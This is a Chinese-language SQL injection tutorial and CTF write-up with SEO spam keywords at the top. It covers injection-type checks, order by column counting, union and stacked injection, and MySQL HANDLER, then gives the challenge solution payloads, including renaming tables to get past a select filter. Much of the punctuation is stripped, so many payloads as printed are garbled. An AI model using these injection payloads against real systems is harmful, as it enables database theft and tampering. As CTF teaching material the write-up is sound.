洛阳市政建设网站,找人做app网站吗,如何做网站管理维护,搭建网站有哪些目录 一、SQL注入知识学习
1、判断注入类型
#xff08;1#xff09;数字型注入判断
#xff08;2#xff09;字符型注入判断
2、猜解sql查询语句中的字段数#xff08;order by 的使用#xff09;
3、判断显示位爆数据库的名字
4、注释#xff08;--的使用#…目录 一、SQL注入知识学习
1、判断注入类型
1数字型注入判断
2字符型注入判断
2、猜解sql查询语句中的字段数order by 的使用
3、判断显示位爆数据库的名字
4、注释--的使用
5、堆叠注入
6、handler语句及用法
二、基于上述知识对此题的分析与解答
1、基本分析注入点、注入类型等
2、判断列数
3、利用or 11暴露表中数据
4、尝试联合查询
5、尝试堆叠注入
1看数据库
2查表名
3查询表中的列
6、处理被过滤
7、handler的使用
8、hackbar的使用 一、SQL注入知识学习
1、判断注入类型
数字型或者字符型字符型的变量使用了引号而数字型没有。
1数字型注入判断
常用语句
1 and 11
1 and 12
假设注入类型为数字型注入点为id分别输入上面的语句那么第一行测试语句会返回id为1的查询结果而第二行语句由于条件and 12不成立所以查询结果为空。如果注入类型为字符型将上面语句拼接到sql中由于id的值都不匹配所以应该是都不返回任何结果但是如果id本身是int类型实际查询过程中是会返回结果的这可能是因为对输入的字符进行了截断并转换了类型造成1 and 12在字符类型中会返回id为1的查询结果。当然如果第二个语句返回了结果我们也可以以此判断出该注入类型是字符型。
若两次返回结果一样则为字符型注入。
2字符型注入判断
1 and 11
1 and 12
对于字符型注入判断我们也可以这样进行操作如上面的两条注入语句所示如果是在数字型注入中由于变量没有加引号所以拼接后sql语法错误直接报错这和不回显信息是有区别。因此如果上面的语句注入后提示sql语法错误那么我们可以直接判断测试对象为数字型注入。而对于字符型注入第一行语句输入后和原本的引号前后完全闭合且逻辑成立所以回显出id为1的数据第二行语句输入后前后引号也完全闭合但逻辑不成立所以返回结果为空。
逻辑成立正常回显逻辑不成立返回为空类型错误直接报错。 2、猜解sql查询语句中的字段数order by 的使用
使用order by判断当前表的字段个数
例?id1 order by n --
若n超过当前表的列数就会报错说明表中只有n-1列
假设为字符型注入先利用1实现引号闭环再利用or 11这样可以暴露出表中所有的数据最后利用order by num#去看是否报错来明确查询语句中的字段数其中#号用于截断sql查询语句。
1 or 11 order by 1 # 1 or 11 order by 2 # ......
当然也可以采用1 or 11 union select 1, 2, 3 #的方式
3、判断显示位爆数据库的名字
判断显示位时要使用 ?id-1 或者改为0 让前面的select语句查询为空错误然后采用后面的select语句去查询
?id-1 union select 1,2,3 --
观察页面在哪里回显我们的输入就可以用那个地方测试接下的语句
爆数据库的名字 ?id1 union select 1,database(),3 --
在之前回显2的地方会回显database数据库的名字 4、注释--的使用
当输入参数为字符串时称为字符型注入它与数字型的区别数字型不需要单引号来闭合而字符串需要单引号来闭合。
例https://blog.csdn.net/aboutus.php?id1’
此时后台语句$sqlSELECT 123 FROM abc WHERE id1
此时多出了一个单引号破坏了原本的SQL语句结构数据库无法处理于是会报错证明这条语句成功被带进数据库查询,存在字符型注入。
此时通过 --把后面的单引号注释掉SQL语句也会形成闭合。
所以我们可以这样
?id 1 攻击语句 --
传入页面就变成了
select user from database where id 1攻击语句 –
–起注释作用将后面的语句注释掉在url中相当于空格–是注释符号单行注释之所以要加号是因为–与单引号连在一起无法起注释作用因此必须把它们隔开。 5、堆叠注入 在SQL中分号;是用来表示一条sql语句的结束。我们在 ; 结束一个sql语句后继续构造下一条语句就成了堆叠注入。而union injection联合注入也是将两条语句合并在一起两者之间的区别就在于union 或者union all执行的语句类型是有限的可以用来执行查询语句而堆叠注入可以执行的是任意的语句。堆叠注入的局限性在于并不是每一个环境下都可以执行可能受到API或者数据库引擎不支持的限制。
可注入条件
目标存在sql注入漏洞 目标未对;号进行过滤 目标中间层查询数据库信息时可同时执行多条sql语句。
6、handler语句及用法
handler是mysql的专用语句没有包含到SQL标准中但它每次只能查询1次记录而select可以根据需要返回多条查询结果。
hander 表名 open; // 打开一个表
handler表名read frist; // 查询第一个数据
handler表名read next; // 查询之后的数据直到最后一个数据返回空 二、基于上述知识对此题的分析与解答
注以下sql语句都是直接在查询框中使用并不是直接加在URL后面或者用在其地方。
1、基本分析注入点、注入类型等
打开链接有一个提交查询框以及题目的提示这就是考的SQL注入 默认框里面有一个1我们直接查询输入1页面正常返回,从返回中我们得到注入点是inject。 输入1页面报错了 加上注释符号#或者--或者%23注释掉后面语句使1后面的单引号与前面的单引号成功匹配就不会报错页面回显正常那么闭合符号就是单引号。 我们再来判断注入类型
1 and 11 1 and 12 查询1 and 11 和1 and 12发现两次提交后页面一样可以判断出为字符型注入漏洞 1 and 11 1 and 12 两次都没有报错且第二次返回结果为空说明是字符型注入。 2、判断列数
1 order by 2# // 回显正常 1 order by 3# // 会报错 3、利用or 11暴露表中数据
1 or 11 order by 1 # 1 or 11 order by 2 #
同样在3的时候会报错说明只有两列 4、尝试联合查询
1 union select 1,2#
发现过滤了很多函数 ,select不能用 5、尝试堆叠注入
即在;后继续加sql语句
1看数据库
1; show databases;# 2查表名
1; show tables;# 3查询表中的列
-1; show columns from words;# -1; show columns from 1919810931114514;# 这里查询表中的列表名需要使用反单引号引起来在windows系统下反单引号是数据库、表、索引、列和别名的引用符。
6、处理被过滤
但问题来了虽然我们已经找到flag了但是select被过滤了而show命令又不能查看值。但过滤中并没有alert 和 rename我们已经知道了words是用来回显内容的我们把1919810931114514这个表更改名字为words,并增加相应的字段使之回显原1919810931114514这个表的内容。1;rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) ;show columns from words;# 用1or 11访问即可得到flag 7、handler的使用
后面改表名的步骤也可替换为用handler语句去解决即
1; handler1919810931114514open asa; handleraread next;
当然不改表名也是可以的我们打开有flag的这个表并查询它即
1; handler1919810931114514 open; handler1919810931114514read next;
一定要先打开这个表直接查询是不行的handler1919810931114514 open;不能省掉 8、hackbar的使用
除了在查询框中执行这些sql语句我们也可以使用hackbar来实现
load URL后在框里编写好我们的sql语句点击Execute即可。